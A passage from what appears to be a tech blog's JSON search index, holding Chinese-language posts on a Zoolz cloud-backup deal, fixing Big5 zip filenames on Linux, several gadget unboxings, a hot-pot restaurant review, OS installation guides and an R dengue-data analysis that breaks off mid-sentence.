的 Glacier 雲端存檔服務，也就是說在儲存空間的穩定性與資料的安全性上會有一定的保障，Zoolz 是將 Amazon Glacier 的儲存做一個整合，讓使用者可以很方便的拿來做為個人電腦的備份工具。\n首先開啟 stacksocial.com 的網頁。\n第一次到訪的人，應該會看到這個訂閱電子報的優惠訊息，如果訂閱它的電子報，還可以獲得九折的優惠碼。\n選擇想要購買的帳號數目。\n輸入 Email 與密碼來建立一個帳號，也可以使用 facebook 登入來註冊。\n接著輸入付款用的信用卡資訊，如果您有拿到訂閱電子報送的優惠碼，記得要在這裡輸入，價格可以再打九折。\n如果不想輸入信用卡的資料，也可以使用 PayPal 付款。\n我這裡示範用 PayPal 來付款。\n付款成功之後，按下「REDEEM YOUR PURCHASES NOW」。\n複製網頁上面的授權碼（License Code），然後點選「REDEMPTION LINK」前往 Coolz 的網站。\n填入基本的資料，包含姓名、Email 與要設定的密碼，還有剛剛複製起來的授權碼，建立新的 Zoolz 帳號。\nZoolz 的帳號建立好之後，就可以登入使用了，容量是 1 TB，終身使用（Lifetime）。\n這樣就完成 Zoolz 空間的購買了，接下來要介紹它的資料備份與回覆方式，請繼續閱讀下一頁。\n在 Zoolz 的網站上可以下載電腦版的 Zoolz 備份工具，下載下來之後執行安裝，首先選擇語言。\n按下「Next」繼續。\n這是使用條款，按下「I Agree」繼續。\n確認安裝路徑，按下「Next」繼續。\n按下「Next」繼續。\n安裝完成後，啟動 Zoolz 應用程式，輸入 Zoolz 的帳號與密碼。\n登入之後，要先設定需要備份的檔案與路徑。\n可以針對個別的目錄會是檔案進行備份。\n選擇好要備份的檔案之後，按下「Next」繼續。\n調整細部選項，這裡可以設定備份的週期、加密方式、網路頻寬等，預設是每兩個小時備份一次，使用 256 位元的 AES 加密。\n設定完成後，Zoolz 就會開始自動備份了。\n我們可以打開 Zoolz 的 Dashboard 視窗，查看備份狀況。\nZoolz Restore 是 Zoolz 專門用來回復檔案的工具，要回復檔案時，首先選擇備份檔案的來源。\n設定回復檔案的放置位置、傳輸方式與回復檔案的時間區間。\n接著就是要等 Zoolz 把檔案抓下來了。\n由於是冷儲存的因素，檔案回復的準備時間比較久一點，大概需要三至五個小時，我們可以直接把視窗關閉，讓 Zoolz 在背景執行備份或是回復的動作。\n平常如果要查看備份的檔案，也可以透過網頁的介面查看。\n如果要透過網頁下載備份檔案的話，同樣也是要等一段時間，送出下載請求後，Zoolz 會在準備好下載的備份檔案時，以 Email 通知使用者進行下載。\n過了幾個小時等 Zoolz 準備好之後，就會寄送這樣的通知信，通知使用者下載備份檔案。\n點擊信中的連結，就可以下載檔案了。\n另外 Zoolz 也有手機的 App。\n手機 App 同樣也是只有查詢備份檔案列表的功能，若要下載的話，則需要透過網頁或是電腦。\n在 Mac OS X 中的使用方式也跟 Windows 差不多，首先從 Zoolz 的網站上下載 Mac OS X 的安裝檔，進行安裝。\n軟體許可協議，點選「繼續」。\n確認硬碟容量，點選「安裝」。\n等待安裝。\n安裝完成，點選「關閉」。\n安裝好之後，在應用程式的目錄中，會多出兩個 Zoolz 的應用程式，Zoolz.app 是備份用的，ZoolzRestore.app 則是回復資料用的。\n執行 Zoolz，輸入自己的帳號與密碼。\n設定要備份的目錄。\n設定備份選項。\n設定完成。\n設定好之後，就會開始第一次的備份。\n總結來說，Zoolz 是非常便宜的備份服務，而且可以終身永久使用，非常適合拿來備份照片、影片等大型檔案，如果需要的人可以稱這個機會趕快買一個來用。\n","permalink":"https://blog.gtwang.org/funny/get-1tb-zoolz-cold-storage-for-lifetime-subscription/","summary":"\u003cp\u003eZoolz 的終身 1TB 雲端備份空間現在大特價，只要 $39 美金，比買硬碟還便宜！\u003c/p\u003e\n\u003cp\u003e現在人的資料越來越多，要找一個安全、穩定又便宜的備份方式實在不容易，目前 Zoolz 的冷儲存服務大特價，原價 $1800 美金的終身 1TB 雲端備份空間，現在只要 $39 美金就可以買到（0.3 折），這個價格已經比買硬碟更便宜了，如果您需要備份一些不常用到的大檔案，非常建議使用這樣的方式，例如大量影片、照片等等，只要傳上去就可以永久備份起來，空間大、不需要自己維護，非常方便。\u003c/p\u003e","title":"[0.3折] 終身 1TB 雲端備份空間只要 $39 美金：Zoolz 冷儲存服務大特價"},{"content":"這裡介紹如何在 Linux 中解壓縮包含中文字的壓縮檔，解決 big5 編碼會產生亂碼的問題。\n如果在 Windows 中建立含有中文檔名的 zip 壓縮檔，拿到 Linux 中解壓縮時，原本的中文檔名就會很變成一堆亂碼。\n遇到這樣的狀況可以使用 convmv 來解決，首先安裝這個工具，以 Debian 系列的 Linux 來說，可用 apt 安裝：\nsudo apt-get install convmv 接著使用 unzip 配合 LANG=C 來解壓縮，這樣可以讓 unzip 以原本的 big5 編碼來解壓縮：\nLANG=C unzip file.zip 其中 file.zip 就是要解壓縮的 zip 檔。如果習慣使用 7z 的人，也可以加上 LANG=C 來解壓縮：\nLANG=C 7z x file.zip 而解壓縮之後，檔案名稱看起來會像這樣：\n這裡解壓縮出來的檔案名稱已經是使用 big5 編碼了，只不過終端機的預設編碼是萬國碼（utf8），所以看起來還是亂碼，接著在這個含有中文檔名的目錄中，使用 convmv 將 big5 編碼的檔案名稱轉換為萬國碼（utf8）：\nconvmv -f big5 -t utf8 -r --notest * 轉換完成之後，中文的檔案名稱就會恢復正常了：\nImage Credit：Charles Chen\n","permalink":"https://blog.gtwang.org/linux/linux-decompression-chinese-zip-files/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中解壓縮包含中文字的壓縮檔，解決 big5 編碼會產生亂碼的問題。\u003c/p\u003e\n\u003cp\u003e如果在 Windows 中建立含有中文檔名的 zip 壓縮檔，拿到 Linux 中解壓縮時，原本的中文檔名就會很變成一堆亂碼。\u003c/p\u003e","title":"Linux 解壓縮中文檔名的 Zip 壓縮檔，解決 Big5 編碼產生亂碼問題"},{"content":"本篇是樹莓派 Raspberry Pi 2/B+ 鋁合金外殼的開箱文，示範外殼組裝的過程。\n拍賣網站上有許多種樹莓派（Raspberry Pi）的外殼，價格從一兩百塊到一兩千塊都有，最近看到幾個價格比較便宜的鋁合金外殼，因為外觀上看起來還不錯，價格也便宜，所以買來試用看看。\n上面這張照片左邊的這種是比較陽春型的 eleduino 金屬外殼，價格是 340 元，這個外殼之前已經介紹過了，請參考樹莓派 Raspberry Pi 2 Model B 與 eleduino 金屬外殼。\n而右邊這種是比較厚一點的外殼，價格是 640 元，它有好幾種顏色可以選，以下我拿一個紅色的外殼來示範組裝過程。\n這個外殼原本是沒有附贈風扇的，如果需要風扇就要另外加購，一個風扇大約是 100 元左右，除非您的應用需要大量 CPU 運算，否則一般應該是不需要風扇，貼個散熱片就夠了。\n因為這個鋁合金外殼是比較低價位的，雖然外觀看起來很有質感，但是其實它的設計的不是非常好，一開始真的不知道如何組裝。\n後來研究了好久，嘗試了各種組裝的順序，終於找出一個比較容易的組裝方式，首先把兩個銅柱鎖在樹莓派的板子上。\n再把外殼的一片側板先鎖上。\n接著把樹莓派的板子放進去，對準所有的孔位。\n鎖上底部兩個銅柱的螺絲，讓板子固定在外殼上。\n最後鎖上另外一側的側板，這樣就大功告成了。這面的側板有一個圓圓的大洞是設計用來安裝風扇的。\n這一側是電源、HDMI 與音源輸出孔。\n這一側是 USB 插座與網路孔。\n這一側則沒有任何開孔。\n裝好之後外觀上看起來是還不錯。\n這是底部的樣子。\n因為我忘記要先把風扇的電源插上樹莓派的針腳，等到外殼的螺絲都快鎖完之後，才發現還有風扇，所以就懶得裝了。\n基本上風扇就只是插上電源線，然後用雙面膠黏在外殼的風扇口上而已，所以安裝方式不難，但是這裡有一個很麻煩的問題，這個外殼沒有設計可以讓人抽換 microSD 卡，把樹莓派的板子裝進去之後，microSD 卡的位置剛好就在這個風扇口的後方。\n如果沒有裝風扇的話，還勉強可以從這個風扇口更換 microSD 卡，而如果裝上風扇的話，想更換 microSD 卡就要直接拆殼子了，這也是我不想裝風扇的主要原因。\n因為這個外殼真的不好組裝，不適合反覆拆裝，拆了也怕裝不回去，比較適合已經開發完成的應用使用（組裝好就不拆了），如果是處於研發階段的話，建議找其他款式的外殼會比較恰當。\n不過難裝歸難裝，裝好之後看起來還真的很不錯，很有質感，鋁合金的外殼也比較不用擔心散熱問題，以 640 元這個價位來說還算不錯。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-aluminum-case/","summary":"\u003cp\u003e本篇是樹莓派 Raspberry Pi 2/B+ 鋁合金外殼的開箱文，示範外殼組裝的過程。\u003c/p\u003e\n\u003cp\u003e拍賣網站上有許多種樹莓派（Raspberry Pi）的外殼，價格從一兩百塊到一兩千塊都有，最近看到幾個價格比較便宜的鋁合金外殼，因為外觀上看起來還不錯，價格也便宜，所以買來試用看看。\u003c/p\u003e","title":"[開箱] 樹莓派 Raspberry Pi 2/B+ 鋁合金外殼"},{"content":"本篇是 eyefi mobiPRO 無線記憶卡的開箱文，有了這張 WiFi SD 卡，可以讓相機直接透過 WiFi 傳輸照片與影片。\n一般的數位相機都是使用 SD 卡來儲存拍攝的相片，在拍攝完之後，再將記憶卡取下來用讀卡機抓取相片，但如果想要一邊拍攝一邊用手機或是電腦觀看相片的話，老是插拔記憶卡也是很麻煩的事情，尤其是出門在外的時候，更是不太方便。\n最近我買了一張 eyefi mobiPRO 無線記憶卡，他可以讓任何使用 SD 卡的相機立即擁有 Wi-Fi 傳輸的功能，照片一拍完就可以在手機或是電腦上觀看，很方便。\n這是外盒的正面，外盒有使用一層塑膠袋套起來。\n這是外盒的背面。\n這個 eyefi 無線記憶卡還有獲得 Mashable Choice 與 PC Magazine Editor\u0026rsquo;s Choice。\n打開外盒。\n上面這一張是 eyefi 的會員卡。\neyefi 會員卡的背面有一組啟動碼，這個在使用手機 App 時會需要輸入。\n在會員卡下面的就是 eyefi 無線記憶卡與 SD 卡的讀卡機。\n這是 eyefi 無線記憶卡與讀卡機的正面。\n這是 eyefi 無線記憶卡與讀卡機的背面。\n所有的內容物就只有一張 eyefi 無線記憶卡、SD 卡的讀卡機與一張會員卡而已。\n接下來要介紹這張無線記憶卡的使用方式，請繼續閱讀下一頁。\n這張 eyefi mobiPRO 無線記憶卡在外型上與一般的 SD 卡一模一樣。\n它的使用方式很簡單，就跟一般的 SD 卡一樣，直接插進相機的 SD 卡插槽就可以了。\n有一些相機本身就有內建 Eye-Fi 的控制選單。\n從相機中可以控制 Eye-Fi 無線記憶卡是否要開啟 Wi-Fi 傳輸功能，如果關閉 Wi-Fi 傳輸功能的話，這張卡用起來就跟一般的 SD 卡沒什麼兩樣。\n把 Eye-Fi 無線記憶卡裝進相機之後，接著要安裝手機、平板或是電腦上的 eyefi 應用程式，這裡我們以 Android 手機的 App 來示範。\nAndroid Eyefi Mobi App 在 Google Play 上找尋 Eyefi Mobi 這個官方的 App，安裝並執行它。\n第一次使用請選擇「開始」，接著按下「設置 Mobi 卡」，然後輸入 eyefi 會員卡背面的啟動碼 。\n輸入啟動碼之後，就會自動搜尋並且連結相機，這時候請把插有 eyefi 無線記憶卡的相機開機，並且至少拍攝一張相片。\n當相機順利連接之後，就會自動傳輸相機上的照片到我們的手機上。\n傳輸完成之後，就可以在手機上立即瀏覽相片了。而除了一般的相片之外，使用相機拍攝的影片會同步傳輸至手機。\n這樣在手機上就可以很方便地觀看相片，還可以立即分享到 facebook 等網站，非常方便。\n除了手機之外，也可以直接使用電腦來接收照片，請繼續閱讀下一頁。\nEyefi Mobi Desktop Transfer 在 Windows 系統上我們可以安裝 Eyefi Mobi Desktop Transfer 這個傳輸軟體，接收來自於 Eye-Fi 無線記憶卡的相片與影片。\n首先從 eyefi 的官方網站下載 Eyefi Mobi Desktop Transfer 的安裝檔來進行安裝。\n使用者授權合約，點選接受後，按下「下一步」。\n設定安裝路徑。\n點選「安裝」。\n等待安裝過程。\n安裝完成。\nEyefi Mobi Desktop Transfer 的使用方式跟手機的 App 差不多，也是需要輸入 eyefi 的啟動碼。\n然後設定放置照片與影片的目錄。\n連接相機。\n設定好之後，只要相機上面有新照片時，就會自動傳輸至電腦中。\n收到的照片與影片會放置在先前設定的目錄中。\n另外這張 eyefi 無線記憶卡也可以當作一般的 SD 卡使用，如果把這張卡插進電腦中，也可以直接取出裡面的相片與影片檔。\n以上是 eyefi mobiPRO 無線記憶卡的簡單開箱介紹。\n","permalink":"https://blog.gtwang.org/unboxing/eyefi-mobipro-wifi-sd-card/","summary":"\u003cp\u003e本篇是 eyefi mobiPRO 無線記憶卡的開箱文，有了這張 WiFi SD 卡，可以讓相機直接透過 WiFi 傳輸照片與影片。\u003c/p\u003e\n\u003cp\u003e一般的數位相機都是使用 SD 卡來儲存拍攝的相片，在拍攝完之後，再將記憶卡取下來用讀卡機抓取相片，但如果想要一邊拍攝一邊用手機或是電腦觀看相片的話，老是插拔記憶卡也是很麻煩的事情，尤其是出門在外的時候，更是不太方便。\u003c/p\u003e","title":"[開箱] Eye-Fi mobiPRO 無線記憶卡：相機用的 WiFi SD 卡"},{"content":"本篇是 SONY ICD-PX440 入門級立體聲數位錄音筆的開箱文。\n這一隻 SONY ICD-PX440 錄音筆是一款入門級的錄音筆，價位不到三千元，在 PChome 24h 購物上面一隻賣 2990 元。\n這是錄音筆的外盒。\n這些是錄音筆還有所有的配件，配件包含耳機、絨布套與兩顆鹼性電池。\n附贈的耳機是一般的耳機，沒什麼特別的。\n這是錄音筆的正面。\n我覺得它的操作面板設計的不錯，操作起來很直覺，我第一次拿到的時候，因為急著使用，沒時間看說明書，使用起來也沒什麼問題。\n最上方的兩個按鈕是錄音與停止鍵，中間的是播放控制鍵，這些一看就知道，而下方三個按鍵分別是選單（MENU）、曲目標記（T-MARK）與目錄（FOLDER）按鈕。\n這是錄音筆的頂部，有耳機與外接麥克風的插孔，左右兩邊則是兩個內建的麥克風，可以錄製兩個聲道的立體聲。\n這是錄音筆的側面，照片上左邊的是電源與 HOLD 開關，右邊的則是調整播放速度（DPC）開關（可以將播放速度調整成 0.5 倍到 2 倍範圍）。\n這是錄音筆的另外一側，照片上左邊的是記憶卡的插槽，右邊的是重播、音量與抹除（ERASE）按鈕。\n這隻錄音筆內建 4 GB 的儲存空間，另外可以插一張 microSD 記憶卡（最高可支援到 32 GB）。\n這是錄音筆底部，有一個可以伸縮的 USB 插頭。\n這個可伸縮的 USB 插頭可以很方便的插進電腦中，不用任何傳輸線與讀卡機就可以傳輸檔案。\n這是錄音筆的背面。\n這隻錄音筆是使用兩顆四號的電池。\n這種平價的入門款錄音筆對於一般上課、演講、會議或訪談等場合的錄音都非常適合，電池續航力可達 96 個小時，長時間連續錄音也都沒問題，而錄製的聲音品質是屬一般的 MP3 音質。\n我個人是很喜歡它的操作介面，提供很多功能鍵，有很多功能可以使用，而且使用上也很直覺，容易上手。\n錄音時錄音筆頂端會有紅色的燈號，一眼就可以看出有沒有在錄音。\n而播放聲音檔時，則會顯示綠色的燈號。\n有完整的繁體中文選單，大部分的功能不用看說明書也可以使用。\n透過錄音筆上面的可伸縮 USB 插頭，可以快速的把錄音檔傳入電腦中。\n整體而言我感覺這隻 SONY 的錄音筆很好用，在日常生活中隨身帶著作為紀錄用還蠻方便的。\n","permalink":"https://blog.gtwang.org/unboxing/sony-icd-px440-digital-voice-recorder/","summary":"\u003cp\u003e本篇是 SONY ICD-PX440 入門級立體聲數位錄音筆的開箱文。\u003c/p\u003e\n\u003cp\u003e這一隻 SONY ICD-PX440 錄音筆是一款入門級的錄音筆，價位不到三千元，在 PChome 24h 購物上面一隻賣 2990 元。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"SONY ICD-PX440 錄音筆\" loading=\"lazy\" src=\"/unboxing/sony-icd-px440-digital-voice-recorder/sony-icd-px440-digital-voice-recorder-1.jpg\"\u003e\u003c/p\u003e","title":"[開箱] SONY ICD-PX440 入門級立體聲數位錄音筆"},{"content":"本篇是 ACER 宏碁 Aspire S1-600 電腦棒的開箱文。\n這一隻 ACER 宏碁 Aspire S1-600 電腦棒，它的外型就像是放大版的隨身碟，直接插入電視或螢幕的 HDMI 插槽，馬上就可以跟一般的電腦一樣使用，而價格是 4990 元。\n這隻電腦棒雖然看似隨身碟，但它是一個完整的電腦，採用 Intel Atom 四核心處理器 Z3735F（1.33GHz），內建 2G 的記憶體與 32GB 的 EMMC 儲存空間，搭載最新的 Windows 10 作業系統。\n這是所有的內容物，除了電視棒，還有 USB 線、變壓器與 HDMI 延長線。\n它的電源插座跟一般手機一樣都是使用 Micro USB 的插座。\n變壓器可以提供 2A 的輸出電流。\n接著來看這隻電腦棒。\n這是側面的照片，左邊是一個 USB 2.0 的插孔，可以接一般的鍵盤或滑鼠等 USB 設備，中間是 Micro USB 的電源插孔，最右邊的按鍵是電源。\n這是電視棒的另外一面，這裡可以插一張 MicroSD 記憶卡，最高支援到 128 GB。\n這是 HDMI 的輸出插頭，可以直接插在螢幕或是電視的 HDMI 插座上。\n這一隻電腦棒我看起來完全沒有風扇，插上電開機之後沒有任何聲音，應該只是靠著上面的散熱孔來散熱。\n這是電腦棒的背面。\n這一隻電腦棒就好像比較大隻一點的隨身碟，平常放在口袋隨身攜帶都很方便。\n使用的時候，就把電腦棒插在電視或螢幕的 HDMI 輸入孔上，再接上電源與鍵盤滑鼠就可以用了。\n打開電源之後，就會出現開機畫面，乍看之下跟一般的電腦沒什麼兩樣。\n這是開機進入 Windows 10 的畫面，接下來的使用就跟一般的桌上型電腦相同了。\n基本上這隻使用起來就跟一般的 PC 一樣，只不過硬體規格比較陽春而已，網路是透過 Wi-Fi（支援 802.11 b/g/n ），藍芽則支援到 Bluetooth 4.0 LE。\n由於這一款電視棒是為了輕巧與方便設計的，只有留一個 USB 插座可以插其他的 USB 設備，如果需要差很多 USB 設備的人，就比較麻煩，而若是配合無線的鍵盤、滑鼠等藍芽設備，對於一般文書處理或是上網來說，還蠻方便的。\n","permalink":"https://blog.gtwang.org/unboxing/acer-aspire-s1-600-win10/","summary":"\u003cp\u003e本篇是 ACER 宏碁 Aspire S1-600 電腦棒的開箱文。\u003c/p\u003e\n\u003cp\u003e這一隻 ACER 宏碁 Aspire S1-600 電腦棒，它的外型就像是放大版的隨身碟，直接插入電視或螢幕的 HDMI 插槽，馬上就可以跟一般的電腦一樣使用，而價格是 4990 元。\u003c/p\u003e","title":"[開箱] ACER 宏碁 Aspire S1-600 電腦棒：超小型的迷你電腦"},{"content":"牢鍋景美店位於景興路上，離捷運站不遠，是一家精緻小火鍋店，這裡有提供素食火鍋，想吃火鍋的素食者可考慮來這裡用餐。\n根據批踢踢實業坊的情報，牢鍋景美店可能已經結束營業了。\n這是牢鍋的大門口。\n店內的佈置還不錯。\n因為我們都吃素，所以全桌都點素食鍋，一鍋素食鍋只要 120 元，很便宜。\n這是素食鍋，料真的很多。\n另外還有白飯，也有麵條與冬粉可以選。\n這是素食的沙茶醬。\n這是會辣的豆瓣醬。\n素食鍋的火鍋料很豐富，這樣一鍋對於一般人而言，可以吃得很飽。\n這是餐具與飲料區。\n飲料可以自己裝。\n這是醬料區。\n醬料區是葷素放在一起的，所以素食者在取用的時候要看清楚，別沾到蔥與蒜。\n店名：牢鍋（景美店）\n地址：台北市文山區景興路 175 號（景美捷運站 3 號出口）\n電話：(02) 8931-9429\n營業時間：中午 11:00 ~ 零晨 1:00\n在這裡吃火鍋，每一鍋還附贈一球冰淇淋，不過我這次趕時間，吃完火鍋就離開了，沒有去吃冰淇淋。\n","permalink":"https://blog.gtwang.org/life/laoguo-hot-pot-jingmei-taipei/","summary":"\u003cp\u003e牢鍋景美店位於景興路上，離捷運站不遠，是一家精緻小火鍋店，這裡有提供素食火鍋，想吃火鍋的素食者可考慮來這裡用餐。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cblockquote class=\"caution\"\u003e\u003cp\u003e根據\u003ca href=\"https://www.ptt.cc/bbs/Wen-Shan/M.1652524027.A.067.html\"\u003e批踢踢實業坊\u003c/a\u003e的情報，牢鍋景美店可能已經結束營業了。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cimg alt=\"牢鍋景美店\" loading=\"lazy\" src=\"/life/laoguo-hot-pot-jingmei-taipei/laoguo-hot-pot-jingmei-taipei-15.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e這是牢鍋的大門口。\u003c/p\u003e","title":"牢鍋景美店：精緻小火鍋，素食亦可"},{"content":"elementary OS 是一套操作介面非常漂亮的 Linux 發行版，精緻程度足以媲美 Mac OS X。\nelementary OS 是以 Ubuntu Linux 為基礎所開發出來的，比較特別的地方是它有自行開發一個 Pantheon 桌面環境（以 GNOME 為基礎），並且發展一些自己的桌面應用程式，例如 Midori 瀏覽器、照片、音樂與影片等應用程式，桌面整體性的整合做得很不錯，可以讓一般的使用者有比較好的體驗。\nStep 1\n使用 elementary OS 的安裝光碟片開機，選擇語言後，點選「Install elementary」開始安裝。如果想要直接試用 elementary OS，可以選擇「Try elementary」，這樣就先體驗一下 elementary OS 而不用更動到硬碟上的資料。\nStep 2\n確認安裝的環境，包含硬碟空間、電源與網路連線，並選擇是否要一併安裝更新與第三方的套件。\nStep 3\n選擇安裝方式，可以使用預設的選項讓安裝程式自動配置整顆硬碟的空間，或是自行規劃硬碟的分割區。\nStep 4\n最後再確認一次硬碟的分割規劃，按下「Continue」就會開始分割硬碟並安裝系統。\nStep 5\n選擇時區。\nStep 6\n選擇鍵盤配置。\nStep 7\n建立個人帳號。\nStep 8\n等待安裝，這一步會比較久一些。\nStep 9\n安裝完成後，要重新開機。\nStep 10\n重新開機之後，就會出現 elementary OS 的登入畫面。\n這是 elementary OS 的桌面，設計得很漂亮。\n這是開啟一些應用軟體的畫面。\nelementary OS 的 Multitasking View 功能可以讓所有開啟的應用程式一目了然，這個 Mac OS X 的設計很類似。\n以上就是 elementary OS 的簡單介紹，由於它是以 Ubuntu Linux 為基礎所開發的，在各種套件的安裝與系統的管理上都跟 Ubuntu Linux 類似，所以若使用上有任何問題，也可以直接參考 Ubuntu 的相關文件。\n","permalink":"https://blog.gtwang.org/linux/elementary-os-freya-installation/","summary":"\u003cp\u003eelementary OS 是一套操作介面非常漂亮的 Linux 發行版，精緻程度足以媲美 Mac OS X。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://elementary.io/zh_TW/\"\u003eelementary OS\u003c/a\u003e 是以 Ubuntu Linux 為基礎所開發出來的，比較特別的地方是它有自行開發一個 Pantheon 桌面環境（以 GNOME 為基礎），並且發展一些自己的桌面應用程式，例如 Midori 瀏覽器、照片、音樂與影片等應用程式，桌面整體性的整合做得很不錯，可以讓一般的使用者有比較好的體驗。\u003c/p\u003e","title":"elementary OS：媲美 Mac OS X 的 Linux 漂亮桌面環境"},{"content":"本篇是使用 Windows 10 的安裝光碟片將 Windows 7 升級成 Windows 10 的步驟教學。\nWindows 10 的升級方式有好幾種，這裡我們以安裝光碟片的方式來升級，從舊的 Windows 7 升級到 Windows 10，以下是整個升級過程。\nStep 1\n放入 Windows 10 光碟，開始進行升級。取得重要更新需要等待一段時間，如果不想這時候進行更新，可以直接跳過。\nStep 2\n輸入產品金鑰。\nStep 3\n授權條款，按下「接受」。\nStep 4\n選擇要保留的項目。\nStep 5\n等待安裝準備。\nStep 6\n確認安裝的設定，按下「安裝」開始進行 Windows 10 的安裝。\nStep 7\n等待安裝。\nStep 8\n安裝的過程會自動重新開機幾次，整個過程都會自動完成。\nStep 9\n設定所在地、鍵盤配置與時區等基本設定。\nStep 10\n細部設定，如果不想一一設定，可以直接點選「使用快速設定」。\nStep 11\n取得重大更新。\nStep 12\n輸入微軟帳戶，不想輸入也可以跳過。\nStep 13\n建立 Windows 10 系統的帳戶。\nStep 14\n最後設定網路的安全性規則。\nStep 15\n這樣就完成升級了。\n這是 Windows 10 的選單畫面。\n這是 Windows 10 的螢幕鎖定畫面。\n這是 Windows 10 的登入畫面。\n","permalink":"https://blog.gtwang.org/windows/upgrade-to-windows-10-tutorial/","summary":"\u003cp\u003e本篇是使用 Windows 10 的安裝光碟片將 Windows 7 升級成 Windows 10 的步驟教學。\u003c/p\u003e\n\u003cp\u003eWindows 10 的升級方式有好幾種，這裡我們以安裝光碟片的方式來升級，從舊的 Windows 7 升級到 Windows 10，以下是整個升級過程。\u003c/p\u003e","title":"Windows 10 升級步驟教學"},{"content":"這裡使用 R 來分析 2015 年臺南市本土登革熱疫情狀況。\n今年台灣的登革熱疫情很嚴重，台南地區的病例更突破兩萬人，以下我們利用 R 來分析台南市的登革熱疫情。\n登革熱資料來源 原始資料可以從臺南市政府資料開放平台的網站上取得，以下是我整理過的資料，後續分析所需要的資料都在這裡：\ndengue-20151107-utf8.csv.zip dengue-20151107-big5.csv.zip 這兩個檔案是臺南市本土登革熱病例數，截至 2015 年 11 月 7 日的資料。兩個檔案內容相同，只差在檔案編碼，一個是 UTF-8，另外一個是 BIG-5，如果是 Windows 的使用者請下載 BIG-5 的檔案，而 Mac OS X 或 Linux 則可使用 UTF-8 的檔案。\n資料整理 將資料讀進 R 中，並確認資料的正確性，排除有問題的資料再進行後續分析。\n將臺南市本土登革熱病例數資料讀進 R 中：\ndengue \u0026lt;- read.csv(\u0026#34;dengue-20151107-utf8.csv\u0026#34;) 檢查一下資料的狀況：\nstr(dengue) 'data.frame':\t22258 obs. of 6 variables: $ 確診日 : Factor w/ 141 levels \"2015/01/06\",\"2015/01/19\",..: 1 2 3 4 5 6 7 8 9 10 ... $ 區別 : Factor w/ 41 levels \"安定區\",\"安南區\",..: 12 9 6 6 6 6 6 2 6 6 ... $ 里別 : Factor w/ 530 levels \" 安西里\",\" 仁愛里\",..: 265 371 236 236 236 499 499 519 31 499 ... $ 道路名稱: Factor w/ 1489 levels \"\",\" 建東街\",\"?埕路\",..: 764 1316 536 536 536 454 454 1341 1052 454 ... $ 緯度座標: num 23 23 23 23 23 ... $ 經度座標: num 120 120 120 120 120 ... summary(dengue) 確診日 區別 里別 2015/09/24: 712 北區 :3529 正覺里 : 332 2015/09/18: 642 中西區 :3455 永祥里 : 319 2015/09/21: 604 永康區 :2632 大豐里 : 299 2015/09/22: 599 北　區 :2179 勝利里 : 272 2015/09/23: 584 安南區 :1831 五王里 : 269 2015/09/10: 553 南區 :1824 成德里 : 266 (Other) :18564 (Other):6808 (Other):20501 道路名稱 緯度座標 經度座標 金華路 : 690 Min. :22.63 Min. :118.8 公園路 : 671 1st Qu.:22.99 1st Qu.:120.2 西門路 : 627 Median :23.00 Median :120.2 文賢路 : 430 Mean :23.01 Mean :120.2 長榮路 : 423 3rd Qu.:23.01 3rd Qu.:120.2 府安路 : 343 Max. :24.95 Max. :121.5 (Other):19074 這裡的經緯度座標值有些問題，有些經緯度已經超出台南市的範圍，我們可以將資料以 ggmap 畫在地圖上來看：\nlibrary(ggmap) library(mapproj) map \u0026lt;- get_map(location = \u0026#34;Taiwan\u0026#34;, zoom = 7, language = \u0026#34;zh-TW\u0026#34;, maptype = \u0026#34;roadmap\u0026#34;) ggmap(map, darken = c(0.5, \u0026#34;white\u0026#34;)) + geom_point(aes(x = 經度座標, y = 緯度座標), color = \u0026#34;red\u0026#34;, data = dengue) 畫出來的圖形為：\n再畫一張比較大的圖：\nmap \u0026lt;- get_map(location = \u0026#34;Tainan\u0026#34;, zoom = 9, language = \u0026#34;zh-TW\u0026#34;, maptype = \u0026#34;roadmap\u0026#34;) ggmap(map, darken = c(0.5, \u0026#34;white\u0026#34;)) + geom_point(aes(x = 經度座標, y = 緯度座標), color = \u0026#34;red\u0026#34;, data = dengue) 畫這張圖的時候，出現一行警告訊息，表示有三筆資料沒有畫在上面（這三筆可以從上面那張圖看出來）。\n警告訊息： Removed 3 rows containing missing values (geom_point). 這是畫出來的圖形：\n我們透過圖形來訂出一個篩選資料的方形區域：\nmap \u0026lt;- get_map(location = \u0026#34;Tainan\u0026#34;, zoom = 9, language = \u0026#34;zh-TW\u0026#34;, maptype = \u0026#34;roadmap\u0026#34;) ggmap(map, darken = c(0.5, \u0026#34;white\u0026#34;)) + geom_point(aes(x = 經度座標, y = 緯度座標), color = \u0026#34;red\u0026#34;, data = dengue) + geom_rect(aes(xmin = 120, xmax = 120.6, ymin = 22.8, ymax = 23.5), alpha = 0.1) 畫出來的圖形為：\n接著把實際的資料篩選出來：\nfilter.idx1 \u0026lt;- dengue$緯度座標 \u0026gt; 22.8 \u0026amp; dengue$緯度座標 \u0026lt; 23.5 filter.idx2 \u0026lt;- dengue$經度座標 \u0026gt; 120 \u0026amp; dengue$經度座標 \u0026lt; 120.6 dengue.tn \u0026lt;- dengue[filter.idx1 \u0026amp; filter.idx2, ] 把篩選好的資料畫在地圖上：\nmap \u0026lt;- get_map(location = c(lon = 120.246100, lat = 23.121198), zoom = 10, language = \u0026#34;zh-TW\u0026#34;) ggmap(map, darken = c(0.5, \u0026#34;white\u0026#34;)) + geom_point(aes(x = 經度座標, y = 緯度座標), color = \u0026#34;red\u0026#34;, data = dengue.tn) 畫出的圖形為\n這張圖就是臺南市全年的登革熱病例分佈地圖。\n從上面 